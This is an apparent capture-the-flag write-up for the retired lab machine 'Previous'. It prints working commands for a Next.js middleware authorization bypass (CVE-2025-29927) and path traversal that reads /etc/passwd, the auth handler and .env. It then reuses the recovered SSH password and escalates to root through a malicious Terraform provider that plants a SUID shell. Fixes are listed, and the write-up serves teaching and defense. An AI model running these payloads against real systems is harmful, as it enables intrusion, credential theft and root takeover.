Previous
Summary
I recon'd Previous ($TARGET), found it fronting a Next.js 15.2.2 site behind the vhost previous.htb, and chained CVE-2025-29927 (a Next.js middleware authorization-bypass header) with a path-traversal flaw in the site's file-download API to read the compiled server-side authentication handler. That file contained a hardcoded username and password for a user named jeremy, which turned out to be reused as the box's real SSH password.
From an SSH foothold as jeremy, sudo -l revealed permission to run Terraform as root against a local plan directory. Because the sudoers rule preserved the environment, I pointed Terraform's provider "development override" at the world-writable /dev/shm and dropped a fake provider binary there; running the permitted sudo terraform apply executed that binary as root, which planted a SUID root shell and completed full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for jeremy>"Attack path — how the box was taken
Exact commands 3
Confirm only 22 and 80 are open.
$ nmap -sC -sV -p- $TARGETAdd the discovered vhost so Host-based routing resolves correctly.
$ echo "$TARGET previous.htb" | sudo tee -a /etc/hostsConfirm nginx front-end and Next.js headers/buildId.
$ curl -sSI http://previous.htb/Exact commands 3
Without the header: a redirect to the sign-in page. This is the control.
$ curl -sS -o /dev/null -w '%{http_code} %{redirect_url}\n' http://previous.htb/docsWith it: the page. The value is the middleware's own name repeated five times, because the check counts how deep the chain claims to be and refuses to recurse further — so the request is treated as one the framework made to itself.
$ curl -sS -o /dev/null -w '%{http_code}\n' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' http://previous.htb/docsBypass auth middleware and confirm traversal reaches /etc/passwd (discloses user jeremy).
$ curl --path-as-is -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' http://previous.htb/api/download?example=../../../etc/passwdFixUpgrade Next.js to patch the middleware authorization-bypass vulnerabilityCritical
Exact commands 2
Read the compiled NextAuth handler; adjust the ../ depth to match the app's install path. URL-encode the [...] route segment.
$ curl --path-as-is -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 'http://previous.htb/api/download?example=../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js'Optionally pull .env for NEXTAUTH_SECRET / config confirmation.
$ curl --path-as-is -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 'http://previous.htb/api/download?example=../../../../app/.env'FixEliminate path traversal in the file-download APIHigh
Exact commands 2
Confirm foothold; expect uid=1000(jeremy).
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no jeremy@previous.htb id
uid=1000(jeremy) gid=1000(jeremy) groups=1000(jeremy)Read the user flag -> <user.txt>
$ cat /home/jeremy/user.txtFixRemove hardcoded credentials from application code and stop reusing them for OS accountsCritical
Exact commands 1
From jeremy's SSH session. His password is needed for the listing and for the run in the next step — the rule is not passwordless.
$ sudo -l
(root) /usr/bin/terraform -chdir=/opt/examples applyFixRestrict the sudo Terraform rule and stop preserving environment/writable temp directoriesCritical
Exact commands 4
Confirm the required_providers source string, e.g. previous.htb/terraform/examples.
$ cat /opt/examples/*.tfForce Terraform to load the provider binary from /dev/shm.
$ printf '%s\n' 'provider_installation { dev_overrides { "previous.htb/terraform/examples" = "/dev/shm" } }' > ~/.terraformrcPlant the fake provider binary; filename must exactly match terraform-provider-<name>.
$ printf '%s\n' '#!/bin/bash' 'cp /bin/bash /var/tmp/rootbash; chmod 6777 /var/tmp/rootbash' > /dev/shm/terraform-provider-examples && chmod +x /dev/shm/terraform-provider-examplesThe sudoers rule doesn't match -auto-approve; run plain apply and pipe the 'yes' confirmation instead.
$ printf '%s\n%s\n' "$PASSWORD" 'yes' | sudo -S /usr/bin/terraform -chdir=/opt/examples applyExact commands 2
Confirm euid=0(root).
$ /var/tmp/rootbash -p -c '/usr/bin/id'Read the root flag -> <root.txt>
$ /var/tmp/rootbash -p -c '/bin/cat /root/root.txt'Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.